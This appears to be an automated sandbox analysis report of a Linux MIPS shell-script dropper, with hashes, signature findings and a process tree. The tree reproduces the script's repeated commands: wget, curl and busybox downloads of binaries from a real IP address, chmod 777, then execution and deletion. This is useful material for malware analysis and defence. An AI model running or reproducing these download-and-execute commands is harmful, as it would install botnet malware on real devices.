a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d

Analysis

max time kernel
69s
max time network
71s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
Size 10KB
Sample241120-dpg58ayhle
SHA256 a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d
MD5 ef505d64f23098451d64b4ff3856093e
SHA1 5297cfaa6fde5a75f63579eb307dce84090420ef
SHA512 f9882b0da33f44b4cf2653178a57074bf58ee7f168bc9bea57ac986da423d164d13889ce54977b0852990674f6dccf00c7c095d935cf51f74b513834282b96e3
SSDEEP 192:m6GB7b/KvZ5hh1hdh4/DTarYQrYArYAD3wpXpDp0JxUuimI4W74S4e4+AUXa7JpD:SiDD74/DT/5F0JxMEuXZ5F0Jx4D74/D3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
790	chmod
894	chmod
918	chmod
954	chmod
948	chmod
972	chmod
978	chmod
756	chmod
762	chmod
809	chmod
887	chmod
746	chmod
840	chmod
865	chmod
900	chmod
831	chmod
966	chmod
774	chmod
924	chmod
930	chmod
990	chmod
984	chmod
846	chmod
906	chmod
936	chmod
960	chmod
912	chmod
942	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	curl
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl

/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:721
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:744
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:755
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:758
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:761
- /bin/chmod
  chmod 777 g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  ./g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:764
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:771
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:787
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:794
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:806
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:830
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:833
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:839
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:842
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:845
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:863
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:883
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:893
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:899
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:905
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:911
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:917
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:923
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:929
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:935
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:941
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:947
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:953
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:959
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:965
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:971
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
